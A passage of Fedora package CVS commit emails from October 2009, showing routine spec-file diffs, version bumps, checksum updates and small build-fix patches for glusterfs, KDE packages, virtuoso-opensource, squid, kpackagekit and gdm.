+Source0: 	http://ftp.gluster.com/pub/gluster/glusterfs/2.0/%{version}/glusterfs-%{version}%{?pre}.tar.gz
+Source1: 	glusterfsd.init
+Source2: 	glusterfsd.sysconfig
+Source3: 	umount.glusterfs
+Source4: 	glusterfs.logrotate
+Source5: 	glusterfsd.logrotate
+BuildRoot: 	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/service, /sbin/chkconfig
 Requires(postun): /sbin/service
 %{!?_without_ibverbs:BuildRequires: libibverbs-devel}
 %{!?_without_client:BuildRequires: fuse-devel}
 %{!?_without_python:BuildRequires: python-devel}
-BuildRequires: flex, bison, byacc
+BuildRequires: 	flex, bison, byacc
 
 %description
 GlusterFS is a clustered file-system capable of scaling to several
@@ -43,10 +50,10 @@ is in userspace and easily manageable.
 
 
 %package common
-Summary: GlusterFS common files for both the client and the server
-Group: System Environment/Libraries
-Obsoletes: glusterfs-libs < 2.0.0
-Provides: glusterfs-libs = %{version}-%{release}
+Summary: 	GlusterFS common files for both the client and the server
+Group: 		System Environment/Libraries
+Obsoletes: 	glusterfs-libs < 2.0.0
+Provides: 	glusterfs-libs = %{version}-%{release}
 
 %description common
 GlusterFS is a clustered file-system capable of scaling to several
@@ -62,10 +69,10 @@ translator modules common to both Gluste
 
 
 %package client
-Summary: GlusterFS Client
-Group: Applications/File
-Requires: fuse
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Client
+Group: 		Applications/File
+Requires: 	fuse
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description client
 GlusterFS is a clustered file-system capable of scaling to several
@@ -80,9 +87,9 @@ This package provides the FUSE based Glu
 
 
 %package server
-Summary: GlusterFS Server
-Group: System Environment/Daemons
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Server
+Group: 		System Environment/Daemons
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description server
 GlusterFS is a clustered file-system capable of scaling to several
@@ -95,11 +102,10 @@ is in userspace and easily manageable.
 
 This package provides the glusterfs server daemon.
 
-
 %package devel
-Summary: GlusterFS Development Libraries
-Group: Development/Libraries
-Requires: %{name}-common = %{version}-%{release}
+Summary: 	GlusterFS Development Libraries
+Group: 		Development/Libraries
+Requires: 	%{name}-common = %{version}-%{release}
 
 %description devel
 GlusterFS is a clustered file-system capable of scaling to several
@@ -171,6 +177,13 @@ done
 %{__install} -D -p -m 0644 %{SOURCE5} \
     %{buildroot}%{_sysconfdir}/logrotate.d/glusterfsd
 
+# Install volgen tool
+%{__install} -D -p -m 0755 extras/glusterfs-volgen.py \
+    %{buildroot}%{_bindir}/glusterfs-volgen
+
+# Install extra documentation
+%add_to_doc_files benchmarking extras/benchmarking/{*.c,README,*.sh}
+
 
 %clean
 %{__rm} -rf %{buildroot}
@@ -197,11 +210,13 @@ fi
 
 
 %files common
-%doc AUTHORS ChangeLog COPYING NEWS README
+%doc AUTHORS ChangeLog COPYING NEWS README extras/{glusterfs-mode.el,glusterfs.vim}
+%{_docdir}/%{name}-%{version}/benchmarking
 %{_libdir}/glusterfs/
 %{_libdir}/*.so.*
 %{_sbindir}/glusterfs
 %{_sbindir}/glusterfsd
+%{_bindir}/glusterfs-volgen
 %{_mandir}/man8/glusterfs.8*
 %dir /var/log/glusterfs/
 
@@ -232,6 +247,15 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Jonathan Steffan <jsteffan at fedoraproject.org> - 2.0.7-1
+- Update to 2.0.7
+- Install glusterfs-volgen, until it's properly added to automake
+  by upstream
+- Add macro to be able to ship more docs
+
+* Thu Sep 17 2009 Peter Lemenkov <lemenkov at gmail.com> 2.0.6-2
+- Rebuilt with new fuse
+
 * Sat Sep 12 2009 Matthias Saou <http://freshrpms.net/> 2.0.6-1
 - Update to 2.0.6.
 - No longer default to disable the client on RHEL5 (#522192).


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/EL-5/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	12 Sep 2009 17:38:59 -0000	1.4
+++ sources	31 Oct 2009 21:22:10 -0000	1.5
@@ -1 +1 @@
-dfa42bfc34d799888a1e3032f9143c72  glusterfs-2.0.6.tar.gz
+ed8968a8671fecd7f7eec7c746c8608c  glusterfs-2.0.7.tar.gz


Index: umount.glusterfs
===================================================================
RCS file: /cvs/pkgs/rpms/glusterfs/EL-5/umount.glusterfs,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- umount.glusterfs	3 Feb 2008 13:53:20 -0000	1.1
+++ umount.glusterfs	31 Oct 2009 21:22:10 -0000	1.2
@@ -1,20 +1,4 @@
 #!/bin/sh
-# (C) 2008 Gluster core team <http://www.gluster.org/>
-# 
-# This program is free software; you can redistribute it and/or
-# modify it under the terms of the GNU General Public License as
-# published by the Free Software Foundation; either version 2 of
-# the License, or (at your option) any later version.
-#   
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-# GNU General Public License for more details.
-#   
-# You should have received a copy of the GNU General Public
-# License along with this program; if not, write to the Free
-# Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
-# Boston, MA 02110-1301 USA
 
 umount "$1"
 



From rdieter at fedoraproject.org  Sat Oct 31 22:00:51 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 22:00:51 +0000 (UTC)
Subject: rpms/kdeaccessibility/devel .cvsignore, 1.48,
	1.49 kdeaccessibility.spec, 1.92, 1.93 sources, 1.48, 1.49
Message-ID: <20091031220051.92BDF11C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeaccessibility/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32732

Modified Files:
	.cvsignore kdeaccessibility.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdeaccessibility/devel/.cvsignore,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- .cvsignore	4 Oct 2009 09:07:57 -0000	1.48
+++ .cvsignore	31 Oct 2009 22:00:47 -0000	1.49
@@ -1,2 +1 @@
-kdeaccessibility-4.3.1.tar.bz2
-kdeaccessibility-4.3.2.tar.bz2
+kdeaccessibility-4.3.3.tar.bz2


Index: kdeaccessibility.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeaccessibility/devel/kdeaccessibility.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- kdeaccessibility.spec	4 Oct 2009 09:07:57 -0000	1.92
+++ kdeaccessibility.spec	31 Oct 2009 22:00:48 -0000	1.93
@@ -1,7 +1,8 @@
+
 Summary:        K Desktop Environment - Accessibility
 Name:           kdeaccessibility
 Epoch:          1
-Version:        4.3.2
+Version:        4.3.3
 Release:        1%{?dist}
 
 Group:          User Interface/Desktops
@@ -143,6 +144,9 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdeaccessibility/devel/sources,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- sources	4 Oct 2009 09:07:57 -0000	1.48
+++ sources	31 Oct 2009 22:00:48 -0000	1.49
@@ -1 +1 @@
-52ab06324f1d47ce5d14638e74b206ed  kdeaccessibility-4.3.2.tar.bz2
+401e733b42d34580b36a9ffe59e5aeba  kdeaccessibility-4.3.3.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 31 22:03:42 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 22:03:42 +0000 (UTC)
Subject: rpms/kdeadmin/devel .cvsignore, 1.69, 1.70 kdeadmin.spec, 1.149,
	1.150 sources, 1.69, 1.70
Message-ID: <20091031220342.562E911C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeadmin/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1003

Modified Files:
	.cvsignore kdeadmin.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdeadmin/devel/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	6 Oct 2009 12:36:49 -0000	1.69
+++ .cvsignore	31 Oct 2009 22:03:41 -0000	1.70
@@ -1 +1 @@
-kdeadmin-4.3.2.tar.bz2
+kdeadmin-4.3.3.tar.bz2


Index: kdeadmin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeadmin/devel/kdeadmin.spec,v
retrieving revision 1.149
retrieving revision 1.150
diff -u -p -r1.149 -r1.150
--- kdeadmin.spec	4 Oct 2009 09:38:32 -0000	1.149
+++ kdeadmin.spec	31 Oct 2009 22:03:41 -0000	1.150
@@ -1,3 +1,4 @@
+
 %if 0%{?fedora}
 %define system_config_printer_kde 1
 %define include_kpackage 1
@@ -6,7 +7,7 @@
 Name:           kdeadmin
 Summary:        K Desktop Environment - Administrative tools
 Epoch:          7
-Version:        4.3.2
+Version:        4.3.3
 Release:        1%{?dist}
 
 Group:          User Interface/Desktops
@@ -159,6 +160,9 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.3-1
+- 4.3.3
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdeadmin/devel/sources,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- sources	4 Oct 2009 09:38:32 -0000	1.69
+++ sources	31 Oct 2009 22:03:41 -0000	1.70
@@ -1 +1 @@
-f547b55cf912f1437ebd2fd7e5059fe4  kdeadmin-4.3.2.tar.bz2
+f83af0034fd1f040ec8eb8b3baa3301a  kdeadmin-4.3.3.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 31 22:14:52 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 22:14:52 +0000 (UTC)
Subject: rpms/virtuoso-opensource/F-10
	virtuoso-opensource-5.0.11-openssl.patch, NONE,
	1.1 virtuoso-opensource-5.0.12-zlib.patch, NONE, 1.1 .cvsignore,
	1.2, 1.3 sources, 1.2, 1.3 virtuoso-opensource.spec, 1.1, 1.2
Message-ID: <20091031221452.CB10911C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/virtuoso-opensource/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3642

Modified Files:
	.cvsignore sources virtuoso-opensource.spec 
Added Files:
	virtuoso-opensource-5.0.11-openssl.patch 
	virtuoso-opensource-5.0.12-zlib.patch 
Log Message:
* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 5.0.12-1
- virtuoso-opensource-5.0.12


virtuoso-opensource-5.0.11-openssl.patch:
 Dk/Dkernel.c |   24 ++++++++++++++----------
 Wi/http.c    |   12 ++++++------
 2 files changed, 20 insertions(+), 16 deletions(-)

--- NEW FILE virtuoso-opensource-5.0.11-openssl.patch ---
diff -up virtuoso-opensource-5.0.11/libsrc/Dk/Dkernel.c.openssl virtuoso-opensource-5.0.11/libsrc/Dk/Dkernel.c
--- virtuoso-opensource-5.0.11/libsrc/Dk/Dkernel.c.openssl	2009-04-17 22:07:28.000000000 +0200
+++ virtuoso-opensource-5.0.11/libsrc/Dk/Dkernel.c	2009-08-26 16:03:23.000000000 +0200
@@ -4798,7 +4798,11 @@ dk_ssl_free (void *old)
 static void
 ssl_server_init ()
 {
+#if (OPENSSL_VERSION_NUMBER >= 0x10000000L)
+  const SSL_METHOD *ssl_server_method = NULL;
+#else
   SSL_METHOD *ssl_server_method = NULL;
+#endif
   unsigned char tmp[1024];
 #ifndef NO_THREAD
   char err_buf[1024];
@@ -4888,12 +4892,12 @@ ssl_server_init ()
       SSL_CTX_set_session_id_context (ssl_server_ctx, (unsigned char *) &session_id_context, sizeof session_id_context);
 
       skCAList = SSL_CTX_get_client_CA_list (ssl_server_ctx);
-      if (sk_num ((STACK *) skCAList) == 0)
+      if (sk_X509_NAME_num (skCAList) == 0)
 	log_warning ("ODBC X509 Client authentication requested but no CA known for verification");
-      for (i = 0; i < sk_num ((STACK *) skCAList); i++)
+      for (i = 0; i < sk_X509_NAME_num (skCAList); i++)
 	{
 	  char ca_buf[1024];
-	  X509_NAME *ca_name = (X509_NAME *) sk_value ((STACK *) skCAList, i);
+	  X509_NAME *ca_name = (X509_NAME *) sk_X509_NAME_value (skCAList, i);
 	  if (X509_NAME_oneline (ca_name, ca_buf, sizeof (ca_buf)))
 	    log_debug ("ODBC Server Using X509 Client CA %s", ca_buf);
 	}
@@ -5058,7 +5062,7 @@ ssl_setup:
 
   if (ca && ca[0] != 0)
     {
-      sk_pop_free ((STACK *) ca_list, (void (*)(void *)) X509_free);
+      sk_X509_pop_free (ca_list, X509_free);
       ca_list = NULL;
       ca_list = PEM_load_certs (ca, passwd);
     }
@@ -5067,30 +5071,30 @@ ssl_setup:
     {
       X509_free (cert);
       EVP_PKEY_free (pkey);
-      sk_pop_free ((STACK *) ca_list, (void (*)(void *)) X509_free);
+      sk_X509_pop_free (ca_list, X509_free);
       return 0;
     }
   EVP_PKEY_free (pkey);
   if (!SSL_use_certificate (ssl, cert))
     {
       X509_free (cert);
-      sk_pop_free ((STACK *) ca_list, (void (*)(void *)) X509_free);
+      sk_X509_pop_free (ca_list, X509_free);
       return 0;
     }
   X509_free (cert);
 
   if (!SSL_check_private_key (ssl))
     {
-      sk_pop_free ((STACK *) ca_list, (void (*)(void *)) X509_free);
+      sk_X509_pop_free (ca_list, X509_free);
       return 0;
     }
-  for (i = 0; i < sk_num ((STACK *) ca_list); i++)
+  for (i = 0; i < sk_X509_num (ca_list); i++)
     {
-      X509 *ca = (X509 *) sk_value ((STACK *) ca_list, i);
+      X509 *ca = sk_X509_value (ca_list, i);
       SSL_add_client_CA (ssl, ca);
       X509_STORE_add_cert (SSL_CTX_get_cert_store (ssl_ctx), ca);
     }
-  sk_pop_free ((STACK *) ca_list, (void (*)(void *)) X509_free);
+  sk_X509_pop_free (ca_list, X509_free);
   return 1;
 }
 
diff -up virtuoso-opensource-5.0.11/libsrc/Wi/http.c.openssl virtuoso-opensource-5.0.11/libsrc/Wi/http.c
--- virtuoso-opensource-5.0.11/libsrc/Wi/http.c.openssl	2009-04-19 23:48:56.000000000 +0200
+++ virtuoso-opensource-5.0.11/libsrc/Wi/http.c	2009-08-26 16:28:03.000000000 +0200
@@ -7601,13 +7601,13 @@ http_set_ssl_listen (dk_session_t * list
       SSL_CTX_set_client_CA_list (ssl_ctx, skCAList);
       skCAList = SSL_CTX_get_client_CA_list(ssl_ctx);
 
-      if (sk_num((STACK *) skCAList) == 0)
+      if (sk_X509_NAME_num(skCAList) == 0)
 	log_warning ("HTTPS Client authentication requested but no CA known for verification");
 
-      for (i = 0; i < sk_num((STACK *) skCAList); i++)
+      for (i = 0; i < sk_X509_NAME_num(skCAList); i++)
 	{
 	  char ca_buf[1024];
-	  X509_NAME *ca_name = (X509_NAME *) sk_value ((STACK *) skCAList, i);
+	  X509_NAME *ca_name = sk_X509_NAME_value (skCAList, i);
 	  if (X509_NAME_oneline (ca_name, ca_buf, sizeof (ca_buf)))
 	    log_debug ("HTTPS Using X509 Client CA %s", ca_buf);
 	}
@@ -9697,13 +9697,13 @@ http_init_part_two ()
 
 	  SSL_CTX_set_client_CA_list (ssl_ctx, skCAList);
 	  skCAList = SSL_CTX_get_client_CA_list (ssl_ctx);
-	  if (sk_num((STACK *) skCAList) == 0)
+	  if (sk_X509_NAME_num(skCAList) == 0)
 	    log_warning ("HTTPS Client authentication requested but no CA known for verification");
 
-	  for (i = 0; i < sk_num((STACK *) skCAList); i++)
+	  for (i = 0; i < sk_X509_NAME_num(skCAList); i++)
 	    {
 	      char ca_buf[1024];
-	      X509_NAME *ca_name = (X509_NAME *) sk_value ((STACK *) skCAList, i);
+	      X509_NAME *ca_name = sk_X509_NAME_value (skCAList, i);
               if (X509_NAME_oneline (ca_name, ca_buf, sizeof (ca_buf)))
 		log_debug ("HTTPS Using X509 Client CA %s", ca_buf);
 	    }

virtuoso-opensource-5.0.12-zlib.patch:
 bif_file.c |    8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

--- NEW FILE virtuoso-opensource-5.0.12-zlib.patch ---
diff -up virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c.zlib virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c
--- virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c.zlib	2009-10-16 05:27:36.000000000 -0500
+++ virtuoso-opensource-5.0.12/libsrc/Wi/bif_file.c	2009-10-20 08:42:56.060132625 -0500
@@ -57,7 +57,13 @@
 #endif
 
 #include "zlib.h"
-#include "zutil.h"
+/* #include "zutil.h" */
+#if MAX_MEM_LEVEL >= 8
+#  define DEF_MEM_LEVEL 8
+#else
+#  define DEF_MEM_LEVEL  MAX_MEM_LEVEL
+#endif
+
 #include "srvmultibyte.h"
 
 #define FS_MAX_STRING	(10L * 1024L * 1024L)	/* allow files up to 10 MB */


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	27 Jul 2009 15:37:47 -0000	1.2
+++ .cvsignore	31 Oct 2009 22:14:52 -0000	1.3
@@ -1 +1 @@
-virtuoso-opensource-5.0.11.tar.gz
+virtuoso-opensource-5.0.12.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	27 Jul 2009 15:37:47 -0000	1.2
+++ sources	31 Oct 2009 22:14:52 -0000	1.3
@@ -1 +1 @@
-9d5507b2a8d244c62f32f1203f10b9d1  virtuoso-opensource-5.0.11.tar.gz
+64949660e3f053ec43d00519a19751aa  virtuoso-opensource-5.0.12.tar.gz


Index: virtuoso-opensource.spec
===================================================================
RCS file: /cvs/pkgs/rpms/virtuoso-opensource/F-10/virtuoso-opensource.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- virtuoso-opensource.spec	27 Jul 2009 15:37:48 -0000	1.1
+++ virtuoso-opensource.spec	31 Oct 2009 22:14:52 -0000	1.2
@@ -1,15 +1,24 @@
+
 Name:	 virtuoso-opensource
-Version: 5.0.11
-Release: 3%{?dist}
+Version: 5.0.12
+Release: 1%{?dist}
 Summary: A high-performance object-relational SQL database
 
 Group:   Applications/Databases
 # see LICENSE for exception details
 License: GPLv2 with exceptions
 URL:	 http://virtuoso.sourceforge.net/
-Source0: http://download.sourceforge.net/virtuoso/virtuoso-opensource-%{version}.tar.gz
+Source0: http://downloads.sourceforge.net/virtuoso/virtuoso-opensource-%{version}.tar.gz
+#Source0: ftp://download.openlinksw.com/support/vos/virtuoso-opensource-%{snap}.tar.gz
+Patch1:  virtuoso-opensource-5.0.11-openssl.patch
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
+## Upstreamable patches
+# fix build with ossl-1.0
+Patch50: virtuoso-opensource-5.0.11-openssl.patch
+# fix build --with-external-zlib
+Patch51: virtuoso-opensource-5.0.12-zlib.patch
+
 BuildRequires: automake libtool
 BuildRequires: bison
 BuildRequires: flex
@@ -19,7 +28,9 @@ BuildRequires: htmldoc
 #BuildRequires: java-devel
 BuildRequires: openldap-devel
 BuildRequires: openssl-devel
+BuildRequires: libiodbc-devel
 BuildRequires: libxml2-devel
+BuildRequires: zlib-devel
 
 Provides: virtuoso = %{version}-%{release}
 
@@ -65,7 +76,10 @@ Requires: %{name} = %{version}-%{release
 
 
 %prep
-%setup -q -n virtuoso-opensource-%{version}
+%setup -q -n virtuoso-opensource%{!?snap:-%{version}}%{?snap:-%{snap}}
+
+%patch50 -p1 -b .openssl
+%patch51 -p1 -b .zlib
 
 
 %build
@@ -73,10 +87,14 @@ Requires: %{name} = %{version}-%{release
 %configure \
   --with-layout=redhat \
   --enable-shared --disable-static \
-  --with-debug
+  --without-internal-zlib \
+  --with-debug \
+  --enable-iodbc \
+  --enable-openssl \
+  --enable-xml
 
 # smp busted
-make 
+make
 
 
 %install
@@ -139,6 +157,15 @@ rm -rf %{buildroot} 
 
 
 %changelog
+* Tue Oct 20 2009 Rex Dieter <rdieter at fedoraproject.org> 5.0.12-1
+- virtuoso-opensource-5.0.12
+
+* Sun Oct 11 2009 Rex Dieter <rdieter at fedoraproject.rog> 5.0.12-0.1.rc9.20090916
+- virtuoso-opensource-20090916 (5.0.12-rc9)
+
+* Wed Aug 26 2009 Tomas Mraz <tmraz at redhat.com> - 5.0.11-4
+- rebuilt with new openssl
+
 * Fri Jul 24 2009 Rex Dieter <rdieter at fedoraproject.org> 5.0.11-3
 - BR: htmldoc
 - -doc subpkg



From hno at fedoraproject.org  Sat Oct 31 22:19:46 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Sat, 31 Oct 2009 22:19:46 +0000 (UTC)
Subject: rpms/squid/F-11 squid-3.0.STABLE19-3-9986.patch,1.1,NONE
Message-ID: <20091031221946.2439811C00EF@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/squid/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4944

Removed Files:
	squid-3.0.STABLE19-3-9986.patch 
Log Message:
Remove unused patches


--- squid-3.0.STABLE19-3-9986.patch DELETED ---



From hno at fedoraproject.org  Sat Oct 31 22:19:56 2009
From: hno at fedoraproject.org (=?utf-8?q?Henrik_Nordstr=C3=B6m?=)
Date: Sat, 31 Oct 2009 22:19:56 +0000 (UTC)
Subject: rpms/squid/F-10 squid-3.0.STABLE19-3-9986.patch,1.1,NONE
Message-ID: <20091031221956.8A14911C00EF@cvs1.fedora.phx.redhat.com>

Author: hno

Update of /cvs/pkgs/rpms/squid/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5032

Removed Files:
	squid-3.0.STABLE19-3-9986.patch 
Log Message:
Remove unused patches


--- squid-3.0.STABLE19-3-9986.patch DELETED ---



From rdieter at fedoraproject.org  Sat Oct 31 22:19:57 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 31 Oct 2009 22:19:57 +0000 (UTC)
Subject: rpms/kdeartwork/devel .cvsignore, 1.67, 1.68 kdeartwork.spec, 1.120,
	1.121 sources, 1.67, 1.68
Message-ID: <20091031221957.948F511C00EF@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeartwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5001

Modified Files:
	.cvsignore kdeartwork.spec sources 
Log Message:
* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
- 4.3.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kdeartwork/devel/.cvsignore,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- .cvsignore	6 Oct 2009 12:38:06 -0000	1.67
+++ .cvsignore	31 Oct 2009 22:19:56 -0000	1.68
@@ -1 +1 @@
-kdeartwork-4.3.2.tar.bz2
+kdeartwork-4.3.3.tar.bz2


Index: kdeartwork.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeartwork/devel/kdeartwork.spec,v
retrieving revision 1.120
retrieving revision 1.121
diff -u -p -r1.120 -r1.121
--- kdeartwork.spec	26 Oct 2009 15:37:01 -0000	1.120
+++ kdeartwork.spec	31 Oct 2009 22:19:56 -0000	1.121
@@ -1,6 +1,7 @@
+
 Name:           kdeartwork
-Version:        4.3.2
-Release:        3%{?dist}
+Version:        4.3.3
+Release:        1%{?dist}
 Summary:        Additional artwork for KDE
 
 License:        GPLv2
@@ -214,6 +215,9 @@ fi
 
 
 %changelog
+* Sat Oct 31 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.3-1
+- 4.3.3
+
 * Mon Oct 26 2009 Than Ngo <than at redhat.com> - 4.3.2-3
 - rhel cleanup
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kdeartwork/devel/sources,v
retrieving revision 1.67
retrieving revision 1.68
diff -u -p -r1.67 -r1.68
--- sources	4 Oct 2009 09:52:34 -0000	1.67
+++ sources	31 Oct 2009 22:19:56 -0000	1.68
@@ -1 +1 @@
-e4e51be6fe0eaf1290604884a64d28a3  kdeartwork-4.3.2.tar.bz2
+8f6c152530f272dd073753e1b7fc4259  kdeartwork-4.3.3.tar.bz2



From tuxbrewr at fedoraproject.org  Sat Oct 31 22:27:58 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sat, 31 Oct 2009 22:27:58 +0000 (UTC)
Subject: rpms/kpackagekit/devel .cvsignore, 1.15, 1.16 kpackagekit.spec, 1.46,
	1.47 sources, 1.23, 1.24
Message-ID: <20091031222758.E7E5C11C00EF@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/kpackagekit/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7011

Modified Files:
	.cvsignore kpackagekit.spec sources 
Log Message:
Official 0.5.0.3 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/devel/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	24 Oct 2009 00:37:51 -0000	1.15
+++ .cvsignore	31 Oct 2009 22:27:57 -0000	1.16
@@ -1 +1 @@
-kpackagekit-0.5.0.1.tar.bz2
+kpackagekit-0.5.0.3.tar.bz2


Index: kpackagekit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/devel/kpackagekit.spec,v
retrieving revision 1.46
retrieving revision 1.47
diff -u -p -r1.46 -r1.47
--- kpackagekit.spec	24 Oct 2009 00:37:51 -0000	1.46
+++ kpackagekit.spec	31 Oct 2009 22:27:58 -0000	1.47
@@ -2,14 +2,14 @@
 %define pk_version 0.5.3
 
 Name:	  	kpackagekit
-Version:	0.5.0.1
+Version:	0.5.0.3
 Release:	1%{?dist}
 Summary:	KDE interface for PackageKit
 
 License:	GPLv2+
 Group:		Applications/System
 #Source0:	http://www.kde-apps.org/CONTENT/content-files/84745-kpackagekit-%{version}.tar.bz2
-Source0:	kpackagekit-0.5.0.1.tar.bz2
+Source0:	kpackagekit-0.5.0.3.tar.bz2
 URL:		http://www.kde-apps.org/content/show.php/KPackageKit?content=84745
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -77,6 +77,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct 31 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0.3-1
+- Official 0.5.0.3 release
+
 * Tue Oct 20 2009 Steven M. Parrish <smparrish at gmail.com> - 0.5.0.1-1
 - Official 0.5.0.1 release
 - Includes patch to fix (#469375) default/none issue


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kpackagekit/devel/sources,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- sources	24 Oct 2009 00:37:51 -0000	1.23
+++ sources	31 Oct 2009 22:27:58 -0000	1.24
@@ -1 +1 @@
-5c4cd44083e6dcce59011bb83029eb3b  kpackagekit-0.5.0.1.tar.bz2
+c12baa39e970443b9b80b5a41efd2310  kpackagekit-0.5.0.3.tar.bz2



From mclasen at fedoraproject.org  Sat Oct 31 22:30:42 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 31 Oct 2009 22:30:42 +0000 (UTC)
Subject: rpms/gdm/F-12 tray-padding.patch,NONE,1.1 gdm.spec,1.514,1.515
Message-ID: <20091031223043.0892111C00EF@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gdm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6084

Modified Files:
	gdm.spec 
Added Files:
	tray-padding.patch 
Log Message:
actually add padding


tray-padding.patch:
 session-setup.entries |    6 ++++++
 1 file changed, 6 insertions(+)

--- NEW FILE tray-padding.patch ---
diff -up gdm-2.28.1/data/session-setup.entries.tray-padding gdm-2.28.1/data/session-setup.entries
--- gdm-2.28.1/data/session-setup.entries.tray-padding	2009-10-31 18:07:29.437799765 -0400
+++ gdm-2.28.1/data/session-setup.entries	2009-10-31 18:08:20.758793871 -0400
@@ -761,5 +761,11 @@
         <string>bottom_right</string>
       </value>
     </entry>
+    <entry>
+      <key>/apps/notification_area_applet/prefs/padding</key>
+      <value>
+        <int>3</int>
+      </value>
+    </entry>
   </entrylist>
 </gconfentryfile>


Index: gdm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gdm/F-12/gdm.spec,v
retrieving revision 1.514
